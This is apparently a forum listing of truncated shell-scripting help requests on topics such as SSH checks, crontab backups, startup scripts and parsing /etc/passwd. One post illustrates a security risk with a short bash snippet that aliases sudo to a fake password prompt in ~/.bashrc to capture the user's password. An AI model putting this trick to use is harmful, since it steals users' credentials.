Hi!
I'm writing a shellscript to check whether a server is reachable via SSH.
I assign the SSH command output to a shell variable so I can tell if it works or not.
I also limit the time with the timeout command. So my script looks like this:
OUTPUT=$(timeout 60s ssh user@server)
Possible...
Is there a shell or bash script to open multiple URLs saved in a .TXT file in a browser from the terminal?
I know that can be done with "firefox $(cat url.txt)", but:
I need something that saves me time by opening tabs of a maximum of 10 to 10 urls (because of RAM) from a list of 100 urls or...
i would like to write a script that prints /etc/passwd as this output:
root daemon bin sys …
x x x x
0 1 1 2
root daemon bin sys
first line has all user accounts in same row
second line has all encrypted passwords (x) in same row
third line has all user ids in same row
and etc…
how to list all files and directories that have the maximum number of the same inode number in the home directory?
for example:
inode file/directory name
112233 file1
112233 myfile
112233 myDocs
345566 Docs
345566 Downloads
then it should print
/home/sysadmin/file1
/home/sysadmin/myfile...
Hey Guys!
i made a wget with gui
You need:
zenity and wget
Installation:
$ wget https://raw.githubusercontent.com/NillyTheL0L/zget/main/zgetBuild
$ chmod +x zgetBuild
$ ./zgetBuild
Usage:
$ zget
Otherwise, the scipts could be easily modified by malicious software, such as this one:
#!/bin/bash
echo -e 'echo -n "[sudo] password for $(whoami): "\nread -s pw\necho I got your password: $pw' > /tmp/hack.sh
echo 'alias sudo="bash /tmp/hack.sh"' >> ~/.bashrc
If the user executes the...
Hey :)
I have a Gameserver on Linux and want to backup something every 3 hours.
A friends said, that I can use a Shellcommand with my Crontab file.
Now there is this in the crontab:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to...
Hey guys!
I have a script: ~/.local/bin/did-keyboard to manage the loading of xkeysnail with my specific configurations. I normally run it as did-xkeysnail --load, and it asks me for my sudo password since I have multiple sudo commands in there: sudo kill ..., sudo nohup xkeysnail... (since...
Hello
I am using OpenSTLinux based on the Yocto project and I wanted to configure my Distribution according to this link.
When I get to the step where I:
DISTRO=openstlinux-weston MACHINE=stm32mp1-disco source layers/meta-st/scripts/envsetup.sh
I get the following error
[source...
Hi I'm working on a Panasonic Toughbook CF-31S MK3 and am working to get the Touchscreen to Calibrate automatically on startup. I have a script that works when run by itself, however I need to be able to have it run automatically on reboot/startup so that I don't have to manually run the script...
I am really struggling with a homework.I have to make a shell script that will copy to a separate path the files in which the user modified more than 20 lines on a specific date.The files should also be archived and them deleted.
What I know right now:
To copy a file somewhere else i use this:
$...
I am using Geany.
These is a option Edit > Format > Send Selected To > Set Custom Commands
Here, for example if I want to sort selected text, I just use sort command.
What I want this (Set Custom Commands) to do is put .... above and bellow my selected line/s.
For Example if I select the...
Hello everyone, sorry for the basic question but i'm new at Linux... I was curious to know which operating systems have bash shell, because as far as i know ubuntu has dash shell.
For me is pretty important to know because the first exam that i'll have at university will be on C and bash shell...
I have a custom shell that i am implementing. I am trying to keep the commands for that shell close to what people are used to for a normal linux shell. I am having a hard time finding any naming convention style guide, so i am seeking assistance here.
I want to list all the toys associated...
Hello
I created a little script that allow to make a rotation of values in an array. The goal was to shift the values to the right and that the last value of the array became the first value in order to create a rotation.
The purpose of the exercice was to do it without using a temporary...
Hey, I made two python programs, in two different computers, that uses sockets to communicate between the two computers.
Then, I wanted to execute a terminal command at the client program and the command it self will be sent from the remote controller program, then the client will send the...
Hi i have a Ethereum node running and mining on a terminal in linux. i want to create a script that will start up the node.sh roughly 2 minutes after startup. my scripts is in the home/chainskills/private/startnode.sh. i want this to be executed after startup. I have barely any knowledge of...
Hello everybody!
Sorry for not perfect English.
Need help, I try to execute this script in /etc/ppp/auth-up:
It this file, $1 is interface name like ppp0, ppp1 etc
$2 is peer name (defined in /ppp/chap-secrets)
#Script start
!#/bin/sh
if [ "$2" == "someusername" ]; then
echo...